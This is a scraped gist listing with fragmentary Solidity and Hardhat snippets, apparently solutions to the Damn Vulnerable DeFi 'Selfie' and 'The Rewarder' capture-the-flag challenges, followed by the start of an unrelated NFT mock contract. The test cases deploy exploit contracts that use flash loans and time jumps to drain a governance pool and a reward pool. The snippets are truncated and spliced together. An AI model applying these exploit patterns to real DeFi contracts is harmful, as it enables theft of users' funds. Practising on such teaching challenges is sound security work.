Skip to content

Instantly share code, notes, and snippets.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ISelfiePool {
function flashLoan(uint256 borrowAmount) external;
}
interface ISimpleGovernance {
function executeAction(uint256 actionId) external payable;
it('Exploit', async function () {
const SelfieExploitFactory = await ethers.getContractFactory('SelfieExploit', attacker);
const exploitContract = await SelfieExploitFactory.deploy(this.pool.address, attacker.address, this.governance.address);
await exploitContract.attack(TOKENS_IN_POOL);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await exploitContract.execute();
});
contract TheRewarderPool {
// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
...
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
accToken.mint(msg.sender, amountToDeposit);
distributeRewards();
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFlashLoanerPool {
function flashLoan(uint256 amount) external;
}
interface IDamnValuableToken {
function transfer(address recipient, uint256 amount)
it('Exploit', async function () {
const RewardExploit = await ethers.getContractFactory('RewardExploit', attacker);
const exploit = await RewardExploit.deploy(attacker.address, this.flashLoanPool.address, this.liquidityToken.address, this.rewarderPool.address, this.rewardToken.address);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await exploit.exploit(TOKENS_IN_LENDER_POOL);
});
@az0mb13
az0mb13 / nftcontract.sol
Created August 15, 2023 08:02
nftcontract.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract Mock721 is ERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;